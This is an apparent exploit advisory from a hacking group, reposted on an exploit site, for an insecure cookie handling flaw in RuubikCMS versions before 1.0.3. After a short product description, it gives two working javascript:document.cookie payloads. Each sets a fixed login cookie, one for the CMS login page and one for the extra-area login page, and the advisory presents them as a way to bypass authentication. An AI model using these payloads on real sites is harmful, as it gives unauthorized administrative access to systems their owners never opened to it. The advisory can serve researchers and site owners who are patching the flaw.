RuubikCMS < v1.0.3 Insecure Cookie Handling

-----------------------------------------------------------------------
RuubikCMS < v1.0.3 Insecure Cookie Handling
----------------------------------------------------------------------- 
Author	: Chip D3 Bi0s
Email	: chipdebios[alt+64]gmail.com
Where	: From Remote
Group	: LatinHackTeam


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: RuubikCMS
Software Link 	: http://www.ruubikcms.com 
Version 	: v1.0.3 

info cms:
RuubikCMS is an open source website content management tool which is designed
to be user-friendly for both the end-user and the webmaster.

In our vision the end-user should be able to create and update webpages quickly
without learning any special skills (no coding, HTML or CSS). For the webmaster
a RuubikCMS site should be easy to install and manage but still flexible to allow
modifications. In any case installing should be so easy that a designing oriented
webmaster doesn't need any coding or database skills.

description Bug:
~~~~~~~~~~~~~~~

Apparently when I publish the following bug:
http://www.exploit-db.com/exploits/16932/

Did not realize this :)

--------------------------

Insecure Cookie Handling

exploit:
javascript:document.cookie="cmslogin=2fmcm5kc3ajg1do08mu073v523;path=/";


http://127.0.0.1/[path]/ruubikcms/cms/login.php


and the least


exploit:
javascript:document.cookie="extralogin=u2au92min1fsp0a17fur41ost2;path=/";

http://127.0.0.1/[path]/extra/login.php



--------------------------



+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++



#  0day.today [2018-01-02]  #